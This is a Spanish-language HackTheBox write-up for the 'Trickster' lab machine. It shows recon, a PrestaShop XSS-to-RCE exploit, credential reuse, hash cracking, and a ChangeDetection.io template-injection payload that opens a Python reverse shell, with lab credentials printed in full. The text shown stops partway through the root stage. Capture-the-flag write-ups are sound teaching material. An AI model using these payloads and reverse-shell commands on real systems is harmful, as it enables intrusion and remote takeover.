Trickster – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium /Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Trickster” es una máquina de dificultad media de la plataforma HackTheBox
. La máquina víctima se encuentra corriendo un servicio web el cual se encuentra exponiendo un repositorio con git
. Este repositorio filtra un la dirección de un directorio interno corriendo PrestaShop
cuya versión es vulnerable a Cross-Site Scripting
que conlleva a ejecución remota de comandos a través de una vulnerabilidad catalogada como CVE-2024-34716, ganando acceso a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales en archivos de configuración para este servicio, pivoteando así a un nuevo usuario. Inspeccionando redes internas de la máquina, notamos que ésta se encuentra corriendo contenedores con Docker
y, luego de realizar un Local Port Forwarding
, somos capaces de acceder a un sitio web interno que un contenedor estaba corriendo. Este sitio interno está corriendo ChangeDetection.io
y está reciclando las credenciales del usuario hallado previamente. Este servicio es vulnerable a Server Side Template Injection
gracias a una vulnerabilidad identificada como CVE-2024-32651, lo cual nos permite ganar acceso al contenedor de Docker
como root
. Encontramos archivos de Brotli
en el contenedor los cuales contienen credenciales para un nuevo usuario, permitiéndonos pivotear a éste. Este nuevo usuario puede ejecutar PrusaSlicer
con sudo
. Abusando de una vulnerabilidad identificada como CVE-2023-47268, somos capaces de ejecutar comandos bajo este contexto privilegiado y ganar así total control del sistema.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
muestra solamente 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.34
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 23:14 -03
Nmap scan report for 10.10.11.34
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.97 seconds
Del output del escaneo podemos ver un dominio para el sitio HTTP
: trickster.htb
. Agregamos este dominio a nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.10.11.34 trickster.htb' | sudo tee -a /etc/hosts
Visitando http://trickster.htb
en un navegador de internet muestra un sitio web de una tienda online:
Muchos de los botones de los items en la página web no funcionan. No obstante, si clickeamos en el botón SHOP
éste nos redirige a http://shop.trickster.htb
. Agregamos este nuevo sitio web a nuestro archivo /etc/hosts
, de manera que éste se ve ahora como:
❯ tail -n 1 /etc/hosts
10.10.11.34 trickster.htb shop.trickster.htb
Visitando así http://shop.trickster.htb
muestra los productos de la tienda:
Nos creamos una cuenta en el sitio shop.trickster.htb
. Pero no somos capaces de ver nada interesante. Sólo somos capaces de encontrar un mail de contacto: admin@trickster.htb
.
Luego de inspeccionar la página, tenemos un mensaje :
© 2024 - Ecommerce software by PrestaShop™
El sitio web se encuentra corriendo PrestaShop
.
Visitando el sitio web de este software muestra la siguiente inforamción:
PrestaShop
project is a universal open-source software platform to build your e-commerce solution.Podemos obtener más información acerca de este software en su repositorio de Github. Éste se encuentra principalmente escrito en PHP
.
Buscando por vulnerabilidades para PrestaShop
en MITRE retorna muchas vulnerabilidades. Entre ellas encontramos algunas SQL Injection
; la cual es una SQL Injection a ciegas, pero no funciona.
Buscamos entonces por directorios ocultos a través de un Brute Force Directory Listing
con la herramienta Gobuster
. Luego de intentar con algunos diccionarios, el diccionario raft-small-word.txt de SecLists
funciona:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://shop.trickster.htb -t 55 --exclude-length 283
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shop.trickster.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] Exclude Length: 283
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 323] [--> http://shop.trickster.htb/.git/]
Progress: 43007 / 43008 (100.00%)
===============================================================
Finished
===============================================================
Encontramos un directorio .git
.
Podemos inspeccionar este sitio en una terminal con cURL
y html2text
:
❯ curl -s http://shop.trickster.htb/.git/ | html2text
****** Index of /.git ******
`ICO` Name Last modified Size Description
===========================================================================
`PARENTDIR` Parent Directory -
` ` COMMIT_EDITMSG 2024-05-25 19:25 20
` ` HEAD 2024-05-25 19:25 28
`DIR` branches/ 2024-09-13 12:24 -
` ` config 2024-05-25 19:25 112
` ` description 2024-05-25 19:25 73
`DIR` hooks/ 2024-09-13 12:24 -
` ` index 2024-05-25 19:25 246K
`DIR` info/ 2024-09-13 12:24 -
`DIR` logs/ 2024-09-13 12:24 -
`DIR` objects/ 2024-09-13 12:24 -
`DIR` refs/ 2024-09-13 12:24 -
===========================================================================
Apache/2.4.52 (Ubuntu) Server at shop.trickster.htb Port 80
Tiene la típica estructura de un repositorio de Git
.
Podemos extraer todo el contenido del directorio .git
utilizando la herramienta git-dumper
(fácilmente instalable ejecutando pip3 install git-dumper
en una terminal) y la ejecutamos:
❯ git-dumper http://shop.trickster.htb/.git/ ./git_content
[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
<SNIP>
[-] Fetching http://shop.trickster.htb/.git/objects/ff/e5907b2f3ab36bf687d1f5a52448da5caf0f37 [200]
[-] Running git checkout .
Updated 1699 paths from the index
Entrando en el directorio donde hemos guardado el proyecto en nuestra máquina de atacantes (en mi caso lo decidí llamar git_content
) muestra todo el proyecto en una rama (o “branch”) llamada admin_panel
. Revisamos los logs de el repositorio:
❯ git log
commit 0cbc7831c1104f1fb0948ba46f75f1666e18e64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date: Fri May 24 04:13:19 2024 -0400
update admin pannel
Tenemos solamente 1 commit el cual empieza con 0cbc
.
Revisamos el contenido de este commit:
❯ git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c
<SNIP>
+ cd themes/classic/_dev && npm run lint-fix
+ cd themes && npm run lint-fix
diff --git a/admin634ewutrx1jgitlooaj/.htaccess b/admin634ewutrx1jgitlooaj/.htaccess
new file mode 100644
index 0000000..f0eb434
--- /dev/null
+++ b/admin634ewutrx1jgitlooaj/.htaccess
@@ -0,0 +1,75 @@
+# Use the front controller as index file. It serves as a fallback solution when
+# every other rewrite/redirect fails (e.g. in an aliased environment without
<SNIP>
Hay un directorio llamado admin634ewutrx1jgitlooaj
.
Adicionalmente, entrando en el directorio en el cual hemos dumpeado los archivos del proyecto con Git
y revisamos los archivos/directorios contenidos en éste retorna:
❯ cd git_content
❯ ls -la
total 232
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Nov 8 23:49 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Nov 8 23:47 ..
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Nov 8 23:49 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 gunzf0x gunzf0x 1305 Nov 8 23:49 autoload.php
-rw-rw-r-- 1 gunzf0x gunzf0x 2506 Nov 8 23:49 error500.html
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Nov 8 23:50 .git
-rw-rw-r-- 1 gunzf0x gunzf0x 1169 Nov 8 23:49 index.php
-rw-rw-r-- 1 gunzf0x gunzf0x 1256 Nov 8 23:49 init.php
-rw-rw-r-- 1 gunzf0x gunzf0x 522 Nov 8 23:49 Install_PrestaShop.html
-rw-rw-r-- 1 gunzf0x gunzf0x 5054 Nov 8 23:49 INSTALL.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 183862 Nov 8 23:49 LICENSES
-rw-rw-r-- 1 gunzf0x gunzf0x 863 Nov 8 23:49 Makefile
-rw-rw-r-- 1 gunzf0x gunzf0x 1538 Nov 8 23:49 .php-cs-fixer.dist.php
Tenemos, como se esperaba, archivos para la tienda online.
Revisamos si, por ejemplo, los archivos autoload.php
o error500.html
que existen en el repositorio existen también en la página web http://shop.trickster.htb
:
❯ curl -s -I http://shop.trickster.htb/autoload.php
HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8
❯ curl -s -I http://shop.trickster.htb/error500.html
HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:33 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Thu, 07 Mar 2024 17:29:12 GMT
ETag: "9ca-6131569e32a00"
Accept-Ranges: bytes
Content-Length: 2506
Vary: Accept-Encoding
Content-Type: text/html
En ambos casos los directorios existen.
Cuando usamos git show
teníamos un directorio llamado admin634ewutrx1jgitlooaj
. Podemos revisar si este directorio también existe usando cURL
también:
❯ curl -s -I http://shop.trickster.htb/admin634ewutrx1jgitlooaj/
HTTP/1.1 302 Found
Date: Sat, 09 Nov 2024 03:05:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=0; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=def502004e702e3085f8821b2f9579426d0bf2725eb43a2b7f75ba7e998c2b5a9d7692d2e372e9720ae53148de423f765580cbbab519744b788bfb310e80cd247507b1b4fe5e348c8fa912b9f4b0109054638afaeecd984214488b53c3bdacccd1f41bccc9d06d513abfd70af897e65974ebf169fa6a2a80a6ac22a9bafcfbdfcc50d052012b4e064c9150502116e13051af2219f0b57d408967764146; expires=Fri, 29-Nov-2024 03:05:53 GMT; Max-Age=1728000; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PHPSESSID=c20i2altik861p84qd49r834lt; expires=Sun, 08-Oct-2079 06:11:46 GMT; Max-Age=1732849553; path=/; HttpOnly; SameSite=Lax
Location: http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin&token=be9a5cdf914b6e841e76eaf7f3c4e5af
Content-Type: text/html; charset=utf-8
El directorio existe.
Visitando http://shop.trickster.htb/admin634ewutrx1jgitlooaj/
muestra un nuevo panel de login:
Una de las vulnerabilidades previamente encontradas en MITRE era CVE-2024-34716 la cual es una vulnerabilidad Cross Site Scripting
(XSS
) para versiones anteriores a 8.1.6
. Dado que el panel de login muestra la versión 8.1.5
, esta versión debería de ser vulnerable. Este blog explica la vulnerabilidad en más detalle y muestra cómo un XSS
puede derivar en Remote Code Execution
(RCE
, o ejecución remota de comandos). El mismo autor del post creó un PoC para este ataque en este repositorio de Github. Clonamos el repositorio, creamos un entorno virtual, activamos el entorno virtual creado, instalamos todas las librerías/dependencias dentro de éste y corremos el script. Como parámetro de email de contacto damos el único mail que hemos hallado en la página web (admin@trickster.htb
):
❯ cd CVE-2024-34716
❯ python3 -m venv .venv_CVE
❯ source .venv_CVE/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3
<SNIP>
FileNotFoundError: [Errno 2] No such file or directory: 'ncat'
Al correrlo tenemos un error. El programa no puede encontrar un binario llamado ncat
. Por alguna razón el autor del exploit decidió llamar ncat
al binario de netcat
, cuyo nombre en sistemas operativos con Linux
casi siempre es nc
. De manera que simplemente reemplazamos en la línea que está haciendo conflicto:
❯ grep -n 'ncat' exploit.py
121: output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)
De ncat
a nc
.
Realizando este pequeño cambio en el script y volviéndolo a ejecutar, tenemos:
❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3
[X] Starting exploit with:
Url: http://shop.trickster.htb
Email: admin@trickster.htb
Local IP: 10.10.16.3
Admin Path: admin634ewutrx1jgitlooaj
Serving at http.Server on port 5000
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
listening on [any] 12345 ...
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
<SNIP>
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [09/Nov/2024 00:28:28] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.34] 44162
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
03:28:46 up 1:20, 0 users, load average: 0.02, 0.09, 0.15
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ www-data
Funcionó. Obtenemos así una shell como el usuario www-data
.
En la ruta /var/www
tenemos un directorio llamado prestashop
. Basados en la documentación de PrestaShop deberíamos de tener un directorio llamado config
, donde todos los archivos de configuración necesarios deberían de encontrarse:
www-data@trickster:~/prestashop$ ls -la config
total 108
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 .
drwxr-xr-x 28 www-data www-data 4096 Sep 17 18:07 ..
-rwxr-xr-x 1 www-data www-data 170 Mar 7 2024 .htaccess
-rwxr-xr-x 1 www-data www-data 2057 Mar 7 2024 alias.php
-rwxr-xr-x 1 www-data www-data 1378 Mar 7 2024 autoload.php
-rwxr-xr-x 1 www-data www-data 6177 Mar 7 2024 bootstrap.php
-rwxr-xr-x 1 www-data www-data 11654 Mar 7 2024 config.inc.php
-rwxr-xr-x 1 www-data www-data 1337 Mar 7 2024 db_slave_server.inc.php
-rwxr-xr-x 1 www-data www-data 7749 Mar 8 2024 defines.inc.php
-rwxr-xr-x 1 www-data www-data 3303 Mar 7 2024 defines_uri.inc.php
-rwxr-xr-x 1 www-data www-data 1369 Mar 7 2024 index.php
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 services
-rw-r--r-- 1 www-data www-data 23 May 25 19:09 settings.inc.php
-rwxr-xr-x 1 www-data www-data 8869 Mar 7 2024 smarty.config.inc.php
-rwxr-xr-x 1 www-data www-data 6008 Mar 7 2024 smartyadmin.config.inc.php
-rwxr-xr-x 1 www-data www-data 9503 Mar 7 2024 smartyfront.config.inc.php
drwxr-xr-x 4 www-data www-data 4096 Sep 13 12:24 themes
drwxr-xr-x 3 www-data www-data 4096 Sep 13 12:24 xml
Revisando el archivo config.inc.php
muestra:
<SNIP>
/* No settings file? goto installer... */
if (!file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.yml') && !file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.php')) {
Tools::redirectToInstall();
}
<SNIP>
Tenemos 2 archivos interesantes por revisar: /app/config/parameters.yml
y /app/config/parameters.php
. Vamos a /var/www/prestashop/app
y revisamos estos archivos:
www-data@trickster:~/prestashop/app/config$ ls -la
total 92
drwxr-xr-x 4 www-data www-data 4096 Sep 13 12:24 .
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 addons
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 api_platform
-rwxr-xr-x 1 www-data www-data 3421 Mar 7 2024 config.yml
<SNIP>
-rw-r--r-- 1 www-data www-data 3197 May 25 19:09 parameters.php
-rw-r--r-- 1 www-data www-data 11 May 25 19:09 parameters.yml
<SNIP>
Leyendo parameters.php
obtenemos:
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
'mailer_user' => NULL,
'mailer_password' => NULL,
'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
'ps_caching' => 'CacheMemcache',
<SNIP>
Tenemos credenciales para una base de datos.
Revisando puertos internos abiertos, somos capaces de ver que el puerto 3306
está abierto:
www-data@trickster:~/prestashop/app/config$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:42981 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
De manera que asumo que este servicio se encuentra usando una base de datos con MySQL
(dado que 3306
es su puerto por defecto).
Entramos en la base de datos:
www-data@trickster:~/prestashop/app/config$ mysql -u ps_user -p'prest@shop_o' -h 127.0.0.1 prestashop
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2257
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [prestashop]>
Y buscamos por información. Eventualmente, encontramos algo en la tabla ps_employee
en la database prestashop
:
MariaDB [prestashop]> select id_employee,firstname,lastname,email,passwd from ps_employee;
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
| id_employee | firstname | lastname | email | passwd |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
| 1 | Trickster | Store | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| 2 | james | james | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
Obtenemos hashes pars los usuarios admin
y james
.
We save both hashes into our attacker machine and attempt to crack it through a Brute Force Password Cracking
with JohnTheRipper
(john
):
Guardamos ambos hashes en nuestra máquina de atacantes y tratamos de crackearlos a través de un Brute Force Password Cracking
utilizando la herramienta JohnTheRipper
(también conocida como john
):
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 16 to 1024
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
Use the "--show" option to display all of the cracked passwords reliably
Tenemos una contraseña: alwaysandforever
.
Revisamos por usuarios existentes en la máquina víctima:
www-data@trickster:~/prestashop/app/config$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh
Dado que el usuario james
estaba en la base de datos, revisamos si la contraseña que acabamos de encontrar funciona para james
a través de SSH
. Podemos revisar esto utilizando la herramienta NetExec
:
❯ nxc ssh 10.10.11.34 -u 'james' -p 'alwaysandforever'
SSH 10.10.11.34 22 10.10.11.34 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.34 22 10.10.11.34 [+] james:alwaysandforever Linux - Shell access!
Las credenciales son correctas. Nos podemos loguear a través de SSH
en la máquina víctima utilizando las credenciales halladas:
❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no james@10.10.11.34
Warning: Permanently added '10.10.11.34' (ED25519) to the list of known hosts.
Last login: Thu Sep 26 11:13:01 2024 from 10.10.14.41
james@trickster:~$ whoami
james
Podemos obtener la flag de usuario.
Root Link to heading
Revisando por interfaces de red en la máquina muestra que ésta se encuentra corriendo containers con Docker
:
james@trickster:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:ce:84 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:a9:31:d0:dc brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
17: veth05fe97a@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether ee:84:d4:10:36:9c brd ff:ff:ff:ff:ff:ff link-netnsid 0
Usualmente, 172.17.0.1
es la IP de la máquina host en la red de Docker
y 172.17.0.2
debería de ser la dirección IP de uno de los contenedores corriendo internamente.
Revisamos si la dirección 172.17.0.2
responde enviando un simple ping
:
james@trickster:~$ ping -c1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.054 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms
Tambén podemos revisar por procesos siendo ejecutados en la máquina víctima con ps
:
james@trickster:~$ ps aux | grep 'container'
root 1283 0.1 1.1 1801044 47244 ? Ssl 02:08 0:08 /usr/bin/containerd
root 1432 0.0 1.9 1977936 77032 ? Ssl 02:08 0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 12594 0.0 0.3 1238656 12860 ? Sl 04:00 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a4b9a36ae7ffc48c2b451ead77f93a8572869906f386773c3de528ca950295cd -address /run/containerd/containerd.sock
james 13313 0.0 0.0 6612 2304 pts/1 S+ 04:07 0:00 grep --color=auto container
Sin embargo, no podemos acceder a este contenedor directamente ya que no estamos en el grupo docker
:
james@trickster:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@trickster:~$ docker images
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied
Para revisar puertos TCP
abiertos en el contenedor de Docker
, usaré este script de Bash que hice hace algún tiempo. Este script lo hice de tal manera que use hilos y así agilizar un poco el proceso. Copiamos el código del repositorio, abrimos un editor de texto como Vim
o nano
en la máquina víctima y guardamos el script; en mi caso lo guardaré como portScanner.sh
. Recordar, además, asignarle permisos de ejecución:
james@trickster:~$ vim /tmp/portScanner.sh
james@trickster:~$ chmod +x /tmp/portScanner.sh
james@trickster:~$ bash /tmp/portScanner.sh
Usage: /tmp/portScanner.sh <IP_ADDRESS> <START_PORT> <END_PORT> <THREADS>
Escaneamos los primeros 10 000 puertos (del 1 al 10 000) usando 10 threads/hilos:
james@trickster:~$ bash /tmp/portScanner.sh 172.17.0.2 1 10000 10
[+] Port 5000 is open
El puerto 5000
se encuentra abierto en la máquian víctima.
Revisamos si este puerto se encuentra exponiendo alguna página web utilizando cURL
:
james@trickster:~$ curl -s http://172.17.0.2:5000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.
Parece ser una página web dado que la respuesta está en HTLM
.
Dado que tenemos conexión a través de SSH
, cerramos la sesión actual que tenemos a través de SSH
y nos reconectamos a la máquina víctima, pero esta vez estableciendo un túnel. Convertimos el puerto 5000
de la máquina 172.17.0.2
(la IP del contenedor) en nuestro puerto 5000
(máquina de atacantes):
❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no -L 5000:172.17.0.2:5000 james@10.10.11.34
www-data
user, we used the payload/exploit from the Github repository remember it uses port 5000
to start a Python
HTTP
temporal server. You have to kill the connection and stop the script from www-data
before doing this connection or the port will be occupied and we will not be able to use our port 5000
.Podemos ver una nueva página web:
El sitio está corriendo ChangeDetection.io
:
ChangeDetection.io
is an open-source tool for website change detection. It is capable of monitoring HTML
and JSON
files and can send various types of notifications when a change is detected.Podemos ver una versión en la parte derecha: 0.45.20
.
Antes de buscar por exploits, usamos la única contraseña que hemos hallado hasta este punto: alwaysandforever
. Esta contraseña funciona. Estamos dentro:
Buscando por vulnerabilidades para esta versión encontramos this blog el cual explica cómo explotar la vulnerabilidad CVE-2024-32651, pero cambiamos levemente algunas cosas. En corto, la aplicación es vulnerable a Server Side Template Injection
(SSTI
) y somos capaces de ejecutar comandos remotamente.
Primero, agregamos nuestra máquina de atacantes a los métodos de detección (detection methods). En Add a new change detection watch
agregamos la IP de la máquina víctima 172.17.0.1:8000
(que es su IP en la red de Docker
) y clickeamos en Watch
. Seteamos el servidor HTTP
en el puerto 8000
. Al haber hecho esto, la dirección debería de aparecer al final de la página:
Luego, vamos a Settings -> Notifications
y como notificación agregamos post://172.17.0.1:8000
(si quieres usar otros protocolos puedes revisar la documentación oficial de ChangeDetection.io y esta página). Esto le dirá a ChangeDetection.io
que debe enviar la notificación a través de una petición con método POST
a la dirección IP 172.17.0.1
en el puerto 8000
. Adicionalmente, en el cuerpo de la notificación ponemos:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Clickeamos en Save
en la parte inferior de la página.
Luego, nos hacemos con una copia de un script de Python
que hice hace algún tiempo el cual se puede encontrar en mi repositorio Github el cual es simplemente un servidor Python
HTTP
temporal que acepta método POST
(si utilizamos el clásico servidor temporal ejecutando python3 -m http.server
éste sólo acepta método GET
). Hago todo esto dado de que quiero ver el output del comando que nos enviamos (y por ello es que estoy usando método POST
en lugar del método GET
). Si no nos queremos complicar la vida también podemos simplemente usar nc
(cuyo binario ya se encuentra instalado en la máquina víctima).
james@trickster:~$ python3 post_http_server.py -p 8000
[+] Server started on port 8000...
De vuelta a la página Settings -> Notification
de ChangeDetection.io
, clickeamos nuevamente en Send test notification
. Obtenemos algo en nuestro listener:
james@trickster:~$ python3 /tmp/post_http_server.py -p 8000
[+] Server started on port 8000...
[+] Received POST data:
uid=0(root) gid=0(root) groups=0(root)
Obtenemos el output del comando id
. Funcionó.
Agregamos así el payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}
donde 172.17.0.1
es la IP de la máquina víctima en la interfaz de Docker
(no es nuestra IP de atacante) y 4444
un puerto en el cual nos pondremos en escucha con netcat
(no podemos usar el típico puerto 443
ya que éste requiere de privilegios en la máquina víctima, los cuales todavía no tenemos). Clickeamos en Save
en la página de ChangeDetection.io
para guardar este nuevo payload.
Nos logueamos en una nueva sesión a través de SSH
en la máquina víctima y empezamos un nuevo listener con nc
en el puerto 4444
en la máquina víctima. Volvemos a la página de Settings
en ChangeDetection.io
y clickeamos en Send test notification
. Obtenemos una shell como el usuario root
en el container:
james@trickster:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 46098
# whoami
whoami
root
Revisando el directorio /
muestra un inusual directorio llamado datastore
:
# ls -la /
ls -la /
total 72
drwxr-xr-x 1 root root 4096 Sep 26 11:03 .
drwxr-xr-x 1 root root 4096 Sep 26 11:03 ..
-rwxr-xr-x 1 root root 0 Sep 26 11:03 .dockerenv
<SNIP>
drwxr-xr-x 2 root root 4096 Sep 13 12:24 boot
drwxr-xr-x 6 root root 4096 Nov 9 07:07 datastore
drwxr-xr-x 5 root root 340 Nov 9 07:00 dev
<SNIP>
Dentro de éste podemos ver un directorio Backups
y un par de archivos .zip
:
root@a4b9a36ae7ff:/datastore/Backups# ls -la
total 52
drwxr-xr-x 2 root root 4096 Aug 31 08:56 .
drwxr-xr-x 6 root root 4096 Nov 9 07:10 ..
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Exponemos ambos archivos .zip
a través de un nuevo servidor HTTP
con Python
en el puerto 8080
, pero esta vez en el contenedor de Docker
:
root@a4b9a36ae7ff:/datastore/Backups# ls -la && python3 -m http.server 8080
total 52
drwxr-xr-x 2 root root 4096 Aug 31 08:56 .
drwxr-xr-x 6 root root 4096 Nov 9 07:11 ..
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
